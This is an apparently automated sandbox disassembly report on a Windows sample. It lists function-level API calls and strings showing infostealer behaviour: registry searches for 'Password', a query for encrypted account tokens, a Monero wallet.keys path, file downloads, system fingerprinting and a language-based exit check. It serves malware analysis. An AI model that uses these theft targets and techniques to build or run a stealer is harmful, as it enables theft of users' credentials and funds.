Opcode ID: 7faa12a9254d663e1f645a30e8d1a2a50ed5d55c0b9a2e20a07030a375ab6b4f
Instruction ID: 3585d613e17d6b6ecd3428e59d604512a235b6ea4fd77d1bfc87a39d7ad8db8d
Opcode Fuzzy Hash: 7faa12a9254d663e1f645a30e8d1a2a50ed5d55c0b9a2e20a07030a375ab6b4f
Instruction Fuzzy Hash: 245174B2D102185BCB19EB60DD96FED73BCEF50300F4451B9B60A72182EE705B86CBA5

Function 00EC75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC72D0: memset.MSVCRT ref: 00EC7314
Part of subcall function 00EC72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00EC733A
Part of subcall function 00EC72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00EC73B1
Part of subcall function 00EC72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00EC740D
Part of subcall function 00EC72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00EC7452
Part of subcall function 00EC72D0: HeapFree.KERNEL32(00000000), ref: 00EC7459

lstrcat.KERNEL32(00000000,00EE17FC), ref: 00EC7606
lstrcat.KERNEL32(00000000,00000000), ref: 00EC7648
lstrcat.KERNEL32(00000000, : ), ref: 00EC765A
lstrcat.KERNEL32(00000000,00000000), ref: 00EC768F
lstrcat.KERNEL32(00000000,00EE1804), ref: 00EC76A0
lstrcat.KERNEL32(00000000,00000000), ref: 00EC76D3
lstrcat.KERNEL32(00000000,00EE1808), ref: 00EC76ED
task.LIBCPMTD ref: 00EC76FB

Strings

: , xrefs: 00EC764E

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: eeecbfa1ad6ce0bc3e6a2ce0ce79fcc8621b33ca385e0dce6960fc7f4998a2d0
Instruction ID: c0a799a38b44c012a6b0c8bd4e4b53906d9b268a07007b2f52af7c2a423af6fe
Opcode Fuzzy Hash: eeecbfa1ad6ce0bc3e6a2ce0ce79fcc8621b33ca385e0dce6960fc7f4998a2d0
Instruction Fuzzy Hash: 74314F72D00209DFCB19EBA4EE45EEE77B4BF48301B10512DF112B7284DA75AA87CB50

Function 00EC72D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00EC7314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00EC733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00EC73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00EC740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00EC7452
HeapFree.KERNEL32(00000000), ref: 00EC7459
task.LIBCPMTD ref: 00EC7555

Strings

Password, xrefs: 00EC7401

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: e4dd8114a8b2ed5b322c94adef7def945ef410009e41bcec2ab7ce961eed7ce7
Instruction ID: 703c6d87661752b6833fd219ebc6f3ac215aeb7cb548615c18adbfcf05a515d4
Opcode Fuzzy Hash: e4dd8114a8b2ed5b322c94adef7def945ef410009e41bcec2ab7ce961eed7ce7
Instruction Fuzzy Hash: 87614CB590425C9BDB24DB50DE45FDAB7B8BF44300F0091E9E689B6141DBB15BCACF90

Function 00ED8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01B8DCE0,00000000,?,00EE0E2C,00000000,?,00000000), ref: 00ED8130
RtlAllocateHeap.NTDLL(00000000), ref: 00ED8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00ED8158
__aulldiv.LIBCMT ref: 00ED8172
__aulldiv.LIBCMT ref: 00ED8180
wsprintfA.USER32 ref: 00ED81AC

Strings

@, xrefs: 00ED814D
%d MB, xrefs: 00ED81A3

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: fc23ab20addbf9cd8aa6d8e7f0d344aa603a851581c787b85166d1f43d642901
Instruction ID: b6ee2052684381bc1372dd8d7922b62df2d91b1374f92d0bbcddbae7d056d318
Opcode Fuzzy Hash: fc23ab20addbf9cd8aa6d8e7f0d344aa603a851581c787b85166d1f43d642901
Instruction Fuzzy Hash: CF215EB1E44318ABDB14DFD4DD49FAEB7B8FB44B00F10421AF615BB284D7B869018BA4

Function 00EC60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EC4839
Part of subcall function 00EC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EC4849

InternetOpenA.WININET(00EE0DF7,00000001,00000000,00000000,00000000), ref: 00EC610F
StrCmpCA.SHLWAPI(?,01B8E220), ref: 00EC6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00EC618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00EC61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00EC61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00EC620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00EC6249
InternetCloseHandle.WININET(?), ref: 00EC6253
InternetCloseHandle.WININET(00000000), ref: 00EC6260

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 69b8f4bf2c7eff5b8abf871255a792c38eb20627094dc988185b4e1f3073f052
Instruction ID: e0911f4c0bf2d9b16d8feea643ebae9d7aa14b3143bd26ce22822ad91371458d
Opcode Fuzzy Hash: 69b8f4bf2c7eff5b8abf871255a792c38eb20627094dc988185b4e1f3073f052
Instruction Fuzzy Hash: AB5180B1900218ABDB24DF50DD49FEE77B8EF44305F1090A9B605B72C0DBB66A86CF95

Function 00ECBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

lstrlen.KERNEL32(00000000), ref: 00ECBC9F

Part of subcall function 00ED8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00ED8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00ECBCCD
lstrlen.KERNEL32(00000000), ref: 00ECBDA5
lstrlen.KERNEL32(00000000), ref: 00ECBDB9

Strings

AccountTokens, xrefs: 00ECBB49
AccountTokens, xrefs: 00ECBABA
SELECT service, encrypted_token FROM token_service, xrefs: 00ECBBEB
AccountId, xrefs: 00ECBCC4

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: cde22d5432183aff22937e3224ebf6cc563efd0e9db80606143d2d12e17f1a1e
Instruction ID: de55d2ae355b58e6b2fd3ca424d84b5ce2cc7b0de73918fb832eeda85f847585
Opcode Fuzzy Hash: cde22d5432183aff22937e3224ebf6cc563efd0e9db80606143d2d12e17f1a1e
Instruction Fuzzy Hash: B7B154769102089BCB18EBA0DD96EEE73B8EF54300F44517AF50673191EF746B4ACB62

Function 00ED6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00ED6774
ExitProcess.KERNEL32 ref: 00ED67A5
ExitProcess.KERNEL32 ref: 00ED67AF
ExitProcess.KERNEL32 ref: 00ED67B9
ExitProcess.KERNEL32 ref: 00ED67C3
ExitProcess.KERNEL32 ref: 00ED67CD

Strings

*, xrefs: 00ED678C

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 8f4dea8746271e6dec0a11fab60ff8d6074e677e69c2eeb54fc87876b2b0f037
Instruction ID: bdfce90d79280427a8357d8ed292d37a123c2af8bcea4a5137fdc926cfd00f09
Opcode Fuzzy Hash: 8f4dea8746271e6dec0a11fab60ff8d6074e677e69c2eeb54fc87876b2b0f037
Instruction Fuzzy Hash: 44F05E30D04309EFD3599FE0F50976C7B74FF04707F0441AAE61A97285D6B14B819B95

Function 00EC4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00EC4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00EC4FD1
InternetOpenA.WININET(00EE0DDF,00000000,00000000,00000000,00000000), ref: 00EC4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00EC5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00EC5041
InternetCloseHandle.WININET(?), ref: 00EC50B9
InternetCloseHandle.WININET(?), ref: 00EC50C6

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: bc9589ed17e965a66eb856f64e52fa909e89165ef71153fc1feb77a98f8d6ea3
Instruction ID: fb4ed09fef97a481e2c80508122ae3fb4c4e317e578cf621577f23e36ae61f27
Opcode Fuzzy Hash: bc9589ed17e965a66eb856f64e52fa909e89165ef71153fc1feb77a98f8d6ea3
Instruction Fuzzy Hash: AD3109B5E0021CABDB24CF54DD85BDCB7B4EB48704F1081E9EA09B7285C7B16AC58F98

Function 00ED83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00ED8426
wsprintfA.USER32 ref: 00ED8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00ED847B
RegCloseKey.ADVAPI32(00000000), ref: 00ED848C
RegCloseKey.ADVAPI32(00000000), ref: 00ED8499

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

RegQueryValueExA.ADVAPI32(00000000,01B8DDE8,00000000,000F003F,?,00000400), ref: 00ED84EC
lstrlen.KERNEL32(?), ref: 00ED8501
RegQueryValueExA.ADVAPI32(00000000,01B8DC68,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00EE0B34), ref: 00ED8599
RegCloseKey.ADVAPI32(00000000), ref: 00ED8608
RegCloseKey.ADVAPI32(00000000), ref: 00ED861A

Strings

%s\%s, xrefs: 00ED844D

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: d469150a885f5758535bb1f06ebff7204071d8f728ae56ab8ae1fcd2decb7cb5
Instruction ID: 1f30b8280f0454ec13698318f5912a95f4cd84a8475a2a31fdf9e71a4e31c161
Opcode Fuzzy Hash: d469150a885f5758535bb1f06ebff7204071d8f728ae56ab8ae1fcd2decb7cb5
Instruction Fuzzy Hash: 8421D8719102189BDB28DB54DC85FE9B3B8FF48714F00C5A9A609A6240DF71AA86CF94

Function 00ED7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00ED76AB
RegOpenKeyExA.ADVAPI32(80000002,01B7B818,00000000,00020119,00000000), ref: 00ED76DD
RegQueryValueExA.ADVAPI32(00000000,01B8DDB8,00000000,00000000,?,000000FF), ref: 00ED76FE
RegCloseKey.ADVAPI32(00000000), ref: 00ED7708

Strings

Windows 11, xrefs: 00ED76BD

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 463a96727aade57d46f893fc228c4c546abb4c0d58907463fa9fee4c0c51fddb
Instruction ID: e95e91f12d8f4b80f493a897c718a58cae7301bb071f8b5406e96513ebadd37b
Opcode Fuzzy Hash: 463a96727aade57d46f893fc228c4c546abb4c0d58907463fa9fee4c0c51fddb
Instruction Fuzzy Hash: 3E01A7B5E04308BBD715DBE0E849F6D77B8EF44701F008466FA55E7284E6B19A418B50

Function 00ED7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7734
RtlAllocateHeap.NTDLL(00000000), ref: 00ED773B
RegOpenKeyExA.ADVAPI32(80000002,01B7B818,00000000,00020119,00ED76B9), ref: 00ED775B
RegQueryValueExA.ADVAPI32(00ED76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00ED777A
RegCloseKey.ADVAPI32(00ED76B9), ref: 00ED7784

Strings

CurrentBuildNumber, xrefs: 00ED7771

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
